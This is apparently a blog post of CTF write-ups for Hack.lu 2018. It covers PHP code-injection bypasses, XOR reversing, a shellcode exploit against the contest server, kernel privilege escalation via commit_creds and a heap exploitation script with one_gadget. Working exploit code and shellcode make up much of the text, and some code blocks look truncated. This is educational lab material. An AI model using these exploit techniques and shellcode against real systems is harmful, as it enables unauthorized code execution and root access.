Hack.lu CTF 2018

10 minute read


Baby PHP

Source Code:




@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');

echo "Hello Hacker! Have a look around.\n";


$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
    die("lel no\n");

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// echo $flag;  

The program set up many restrictions for us to bypass. Let’s check them one by one:

    1. if(intval($k1) !== $cc || $k1 === $cc): this is easy, set $_GET['key1'] = "1337"
    1. if(strlen($k2) == $bb) and if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)): the regex is tricky. note that the is actually another character(not the $ which stands for end of a string). then, we can append some characters after 1337$ to meet the requirement of strlen. $_GET['key2']=%EF%BC%8411111111111111111111111111111111111 (url encoded here)
    1. if(substr($cc, $bb) === sha1($cc)) using an array, we can let both sides produce null and then return true cc[]=1.
    1. foreach ($_GET as $lel => $hack){ $$lel = $hack;}: this allows us to overwrite arbitrary value, just specify value name and its value in URL. We will use this trick later.
    1. the next line is a trick too. open it in vim, you can see: ` $<202e>b = “2”;$a=”<202e>b”;//;1=b, now $a==2`
    1. if($$a !== $k1) uses trick in part 4 to overwrite $k1=2
    1. assert can lead to RCE, use bb=print($flag);// to execute the code

Final payload:



I don’t want to RE…but this is the only way to continue pwn…

Baby Reverse

We got a simple asm, overview:

.text:0000000000400080 start           proc near
.text:0000000000400080 ; FUNCTION CHUNK AT .text:00000000004000D2 SIZE 0000003C BYTES
.text:0000000000400080 ; FUNCTION CHUNK AT .text:000000000040011D SIZE 0000000A BYTES
.text:0000000000400080                 jmp     short loc_4000D2
.text:0000000000400080 start           endp ; sp-analysis failed
.text:0000000000400082 ; =============== S U B R O U T I N E =======================================
.text:0000000000400082 sub_400082      proc near               ; CODE XREF: start:loc_4000D2↓p
.text:0000000000400082                 xor     rax, rax
.text:0000000000400085                 inc     al
.text:0000000000400087                 xor     rdi, rdi
.text:000000000040008A                 inc     rdi             ; fd
.text:000000000040008D                 pop     rsi             ; buf
.text:000000000040008E                 mov     dl, 2Eh         ; count
.text:0000000000400090                 syscall                 ; LINUX - sys_write
.text:0000000000400092                 sub     al, 2Eh
.text:0000000000400094                 dec     edi
.text:0000000000400096                 syscall                 ; LINUX - sys_get_thread_area
.text:0000000000400098 loc_400098:                             ; CODE XREF: sub_400082+24↓j
.text:0000000000400098                 movzx   rdi, byte ptr [rsi+1]
.text:000000000040009D                 xor     [rsi], rdi
.text:00000000004000A0                 inc     rsi
.text:00000000004000A3                 dec     rdx
.text:00000000004000A6                 jnz     short loc_400098
.text:00000000004000A8                 and     ecx, 2Eh
.text:00000000004000AB                 add     cl, 26h
.text:00000000004000AE                 lea     rdi, [rsi+7]
.text:00000000004000B2                 lea     rsi, [rdi-35h]
.text:00000000004000B6                 repe cmpsb
.text:00000000004000B8                 test    rcx, rcx
.text:00000000004000BB                 jnz     short near ptr loc_400105+1
.text:00000000004000BD                 xor     al, 2Fh
.text:00000000004000BF                 push    '!yaY'
.text:00000000004000C4                 mov     rsi, rsp        ; who
.text:00000000004000C7                 mov     dl, 4
.text:00000000004000C9                 mov     edi, 1          ; which
.text:00000000004000CE                 syscall                 ; LINUX - sys_ioprio_get
.text:00000000004000D0                 jmp     short near ptr loc_400105+1
.text:00000000004000D0 sub_400082      endp ; sp-analysis failed
.text:00000000004000D2 ; ---------------------------------------------------------------------------
.text:00000000004000D2 ; START OF FUNCTION CHUNK FOR start
.text:00000000004000D2 loc_4000D2:                             ; CODE XREF: start↑j
.text:00000000004000D2                 call    sub_400082
.text:00000000004000D7                 push    rdi
.text:00000000004000D8                 db      65h
.text:00000000004000D8                 insb
.text:00000000004000DA                 movsxd  ebp, dword ptr [rdi+6Dh]
.text:00000000004000DD                 and     gs:[rdi+rbp*2+20h], dh
.text:00000000004000E2                 jz      short near ptr 40014Ch
.text:00000000004000E4                 imul    esi, [rbx+20h], 6C616843h
.text:00000000004000EB                 insb
.text:00000000004000EC                 and     [rax], esp
.text:00000000004000EE                 or      al, [rbp+6Eh]
.text:00000000004000F1                 jz      short near ptr 400158h
.text:00000000004000F3                 jb      short near ptr byte_400115
.text:00000000004000F5                 jz      short near ptr 40015Fh
.text:00000000004000F7                 and     gs:[rbx+65h], cl
.text:00000000004000FB                 jns     short loc_40011D
.text:00000000004000FD                 jz      short near ptr 40016Eh
.text:00000000004000FF                 and     [rdi+69h], dh
.text:0000000000400102                 outsb
.text:0000000000400103                 cmp     ah, [rax]
.text:0000000000400105 loc_400105:                             ; CODE XREF: sub_400082+39↑j
.text:0000000000400105                                         ; sub_400082+4E↑j
.text:0000000000400105                 add     [rcx], dh
.text:0000000000400107                 sal     byte ptr [rax+0A050F3Ch], 0Dh
.text:0000000000400107 ; END OF FUNCTION CHUNK FOR start
.text:0000000000400107 ; ---------------------------------------------------------------------------
.text:000000000040010E word_40010E     dw 1C06h
.text:0000000000400110                 db 22h, 38h, 18h, 26h, 36h
.text:0000000000400115 byte_400115     db 0Fh, 39h, 2Bh        ; CODE XREF: start+73↑j
.text:0000000000400118 ; ---------------------------------------------------------------------------
.text:0000000000400118                 sbb     al, 59h
.text:000000000040011A                 sub     al, 36h
.text:000000000040011D ; START OF FUNCTION CHUNK FOR start
.text:000000000040011D loc_40011D:                             ; CODE XREF: start+7B↑j
.text:000000000040011D                 sbb     ch, [rsi]
.text:0000000000400120                 sbb     al, 17h
.text:0000000000400122                 sub     eax, 1435739h
.text:0000000000400122 ; END OF FUNCTION CHUNK FOR start
.text:0000000000400122 ; ---------------------------------------------------------------------------
.text:0000000000400127 byte_400127     db 111b
.text:0000000000400128                 db 2Bh
.text:0000000000400129                 db  38h ; 8
.text:000000000040012A                 db    9
.text:000000000040012B                 db    7
.text:000000000040012C                 db  1Ah
.text:000000000040012D                 db    1
.text:000000000040012E                 db  17h
.text:000000000040012F                 db  13h
.text:0000000000400130                 db  13h
.text:0000000000400131                 db  17h
.text:0000000000400132                 db  2Dh ; -
.text:0000000000400133                 db  39h ; 9
.text:0000000000400134                 db  0Ah
.text:0000000000400135                 db  0Dh
.text:0000000000400136                 db    6
.text:0000000000400137                 db  46h ; F
.text:0000000000400138                 db 5Ch, 7Dh
.text:0000000000400138 _text           ends
.text:0000000000400138                 end start

The program uses xor decryption to our input and compare it to an encrypted string, use this to decrypt it:

encrypt = "\x0a\x0d\x06\x1c\"8\x18&6\x0f9+\x1cYB,6\x1a,&\x1c\x17-9WC\x01\x07+8\x09\x07\x1a\x01\x17\x13\x13\x17-9\x0a\x0d\x06F\\}"
decrypt = []

for e in encrypt:

for d in range(len(decrypt) - 2, -1, -1):
  decrypt[d] = decrypt[d+1] ^ decrypt[d]

for d in decrypt:
  print(chr(d), end = "")


Baby Exploit

Use the binary from baby rev. And the server script can be found in my github repo CTF Challenge

Basically, the server script asks us to specify one byte to be changed. Then, we need to execute shellcode.

First, we need to read some shellcode, so 0x80 - 0x96 cannot be changed.

0x98 - 0xA6 will erase our input byte by byte, so we must change the content here. Also, we need to jump to our input, so the byte after changing must be some jmp instructions or ret. We can use a script to brute force:

from tempfile import NamedTemporaryFile
from os import chmod
from subprocess import CalledProcessError, TimeoutExpired, check_call
from shutil import copyfile

for bytepos in range(0x98, 0xa8):
  for bitpos in range(0, 7):
    yourFile = NamedTemporaryFile(delete=True)

    if(bytepos < 0x80 or bytepos > 0x139 or bitpos < 0 or bitpos > 7 ):
      print("behave kid, behave...ò.ó")

    patch = open(yourFile.name,"r+b")
    patch.seek(bytepos, 0)
    c = patch.read(1)
    toggled = bytes( [ ord(c)^(1<<bitpos) ] ) 
    t = ord(toggled)

    # Differnt kind of jump instructions and ret
    if (t in [0xc3, 0xeb, 0x75, 0x74, 0x78, 0x70, 0x71, 0x78, 0x79, 0x72, 0x73, 0x76, 0x77, 0x7c, 0x7d, 0x7e, 0x7f, 0x7a, 0x7b, 0xe3]):
      print("bytepos: " + str(hex(bytepos)) + "; bitpos: " + str(hex(bitpos)) + "; toggeld: " + hex(t))

    patch.seek(-1, 1) 


And then, we found that 0x9e for bytepos and 0x6 for bitpos are correct locations:

from pwn import *

p = remote("arcade.fluxfingers.net", 1807)

p.sendlineafter(":", hex(0x9e))
p.sendlineafter(":", hex(0x6))

payload = "\x90" * 7
payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

p.sendlineafter(":", payload)


Baby Kernel

First Kernel Problem, but not difficult LoL.

Let’s checksec first:

    Arch:     amd64-64-little
    Version:  4.18.0
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000)
    RWX:      Has RWX segments

And the kernel gives us several option: Call, Show UID, and Read File. We can do arbitrary call without ASLR restriction!

First, we need to find out two necessary address: prepare_kernel_cred and commit_creds. Let’s load vmlinux in gdb and use x to find address:

pwndbg> x prepare_kernel_cred
0xffffffff8104ee50 <prepare_kernel_cred>:	0x00c0be55
pwndbg> x commit_creds
0xffffffff8104e9d0 <commit_creds>:	0xe5894855

Now, we need to call prepare_kernel_cred first with arg 0. Then, use its returned value as the arg of commit_creds (removed some useless info here):

----- Menu -----
1. Call
2. Show me my uid
3. Read file
4. Any hintz?
5. Bye!
> 1
I need a kernel address to call. Be careful, though or we will crash horribly...
There is a good chance we will want to pass an argument. Which one is it?
Got call address: 0xffffffff8104ee50, argument: 0x0000000000000000
flux_baby ioctl nr 900 called
flux_baby ioctl nr 900 called
flux_baby ioctl extracted param ffffffff8104ee50 as function ptr, calling it
A miracle happened. We came back without crashing! I even got a return value for you...
It is: ffff88000212d840


> 1                   
I need a kernel address to call. Be careful, though or we will crash horribly...
There is a good chance we will want to pass an argument. Which one is it?
Got call address: 0xffffffff8104e9d0, argument: 0xffff88000212d840
flux_baby ioctl nr 900 called
flux_baby ioctl nr 900 called
flux_baby ioctl extracted param ffffffff8104e9d0 as function ptr, calling it
A miracle happened. We came back without crashing! I even got a return value for you...
It is: 0000000000000000


> 2
uid=0(root) gid=0(root)

At the end just use read file to read flag.

Heap Heaven 2


int __cdecl main(int argc, const char **argv, const char **envp)
  void **_state_ptr; // rbx
  __int64 __state_ptr2; // rbx
  const char *_buf_ptr; // rdi
  __int64 _MMAP_SIZE; // rsi
  int _size; // ST0C_4
  unsigned __int64 buf; // [rsp+10h] [rbp-40h]
  unsigned __int64 _opt; // [rsp+18h] [rbp-38h]
  const char *offset; // [rsp+20h] [rbp-30h]
  const char *_offset; // [rsp+28h] [rbp-28h]
  const char *_offset_leak; // [rsp+30h] [rbp-20h]
  unsigned __int64 v14; // [rsp+38h] [rbp-18h]

  v14 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  buf = 0LL;
  state_bss = (__int64)malloc(0x10uLL);
  _state_ptr = (void **)state_bss;
  *_state_ptr = malloc(0x10uLL);
  **(_QWORD **)state_bss = bye_function;
  *(_QWORD *)(*(_QWORD *)state_bss + 8LL) = menu_function;
  __state_ptr2 = state_bss;
  *(_DWORD *)(__state_ptr2 + 8) = open("/dev/urandom", 0);
  while ( buf <= 0x20000 )
    if ( read(*(_DWORD *)(state_bss + 8), &buf, 8uLL) != 8 )
      return -1;
    buf &= 0xFFFFFFF000uLL;
  close(*(_DWORD *)(state_bss + 8));
  *(_DWORD *)(state_bss + 8) = 0;
  _buf_ptr = (const char *)buf;
  mmapped = (__int64)mmap((void *)buf, MMAP_SIZE, 3, 50, -1, 0LL);
  if ( mmapped == -1 || mmapped != buf )
    return -1;
  while ( 1 )
    (*(void (__fastcall **)(const char *, __int64))(*(_QWORD *)state_bss + 8LL))(_buf_ptr, _MMAP_SIZE);
    _opt = read_num();
    if ( _opt == 1 )
      puts("How much do you want to write?");
      _size = read_num();
      puts("At which offset?");
      offset = (const char *)read_num();
      _MMAP_SIZE = _size;
      _buf_ptr = offset;
      if ( (unsigned int)write_wrapper((__int64)offset, _size) )
        return -1;
    if ( _opt == 2 )
      _buf_ptr = "Not implemented. :-(";
      puts("Not implemented. :-(");
    if ( _opt == 3 )
      puts("At which offset do you want to free?");
      _offset = (const char *)read_num();
      _buf_ptr = _offset;
      if ( (unsigned int)free_wrapper((__int64)_offset) )
        return -1;
    if ( _opt == 4 )
      puts("At which offset do you want to leak?");
      _offset_leak = (const char *)read_num();
      _buf_ptr = _offset_leak;
      if ( (unsigned int)leak_wrapper((__int64)_offset_leak) )
    if ( _opt == 5 )
      (**(void (__fastcall ***)(const char *))state_bss)(_buf_ptr);
  return -1;

The program will mmap an area to create heap. We can write content and leak arbitrary address. But is also has lots of protect mechanism:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

The exploit is not difficult. We can use unsorted bin to heap address. While the pointer of bye is stored in heap. We can use it to leak PIE base address, libc address(via leaking malloc address here), and mmap area(bss mmaped, which is 0x4048). Then, we can create a fake heap (size 0x21) and free it. Then, we overwrite the fd pointer one execute one_gadget. Following, we free the chunk by state_bss = (__int64)malloc(0x10uLL);. The fd pointer will be changed to our previous freed chunk. When we exit the function, it calls state_bss->pointer_chunk->bye()(pseudo-code). Since we controlled all two fd, it will become state_bss->fake_fastbin->one_gadget.

The script:

from pwn import *

p = process("./heap_heaven_2")

#context.log_level = 'DEBUG'

def _write(offset, content):
  p.sendlineafter("exit", "1")
  p.sendlineafter("?", str(len(content)))
  p.sendlineafter("?", str(offset))

def _free(offset):
  p.sendlineafter("exit", "3")
  p.sendlineafter("?", str(offset))

def _leak(offset):
  p.sendlineafter("exit", "4")
  p.sendlineafter("?", str(offset))
  return u64(p.recvuntil('\nPlease').split('\nPlease')[0].ljust(8, '\x00')) / 0x100

# Create Unsorted Bin to leak Heap
payload = p64(0x0) + p64(0x201) + '\x00' * (0x200 - 0x8) + p64(0x21) + '\x00' * (0x20 - 0x8) + p64(0x21)

_write(0, payload)
heap_addr = _leak(0x10) -  0x40
print "Heap Address: " + hex(heap_addr)

# Leak PIE via the stored pointer bye
payload = p64(heap_addr + 0x30)
_write(0x0, payload)
bye_addr = _leak(0x0)
pie_addr = bye_addr - 0x1670
print "PIE Address: " + hex(pie_addr)

# Leak mmap address in bss area
_write(0, p64(pie_addr + 0x4048 + 1))
p.sendlineafter("exit", "4")
p.sendlineafter("?", "0")
mmap_addr =  u64('\x00' + p.recvuntil('\nPlease').split('\nPlease')[0].ljust(7, '\x00')) / 0x100000 * 0x1000
print "mmap Address: " + hex(mmap_addr)

# Leak Libc via Heap
_write(0, p64(pie_addr + 0x3fb0))
libc_addr = _leak(0) - 0x84130 # Heap relative address, may be different in your env
print "libc Address: " + hex(libc_addr)

# Use free to overwrite pointer to one_gadget
arb_free = lambda addr: _free(addr - mmap_addr)
_write(0x1000, p64(0)+p64(0x21))
_write(0x1020, p64(0)+p64(0x21))
_free(0x1000 + 0x10)
_write(0x1000, p64(libc_addr + 0xf02a4) * 8) # one_gadget, may be different in your env
arb_free(heap_addr + 0x10)

print hex(libc_addr + 0x45390)


Leave a comment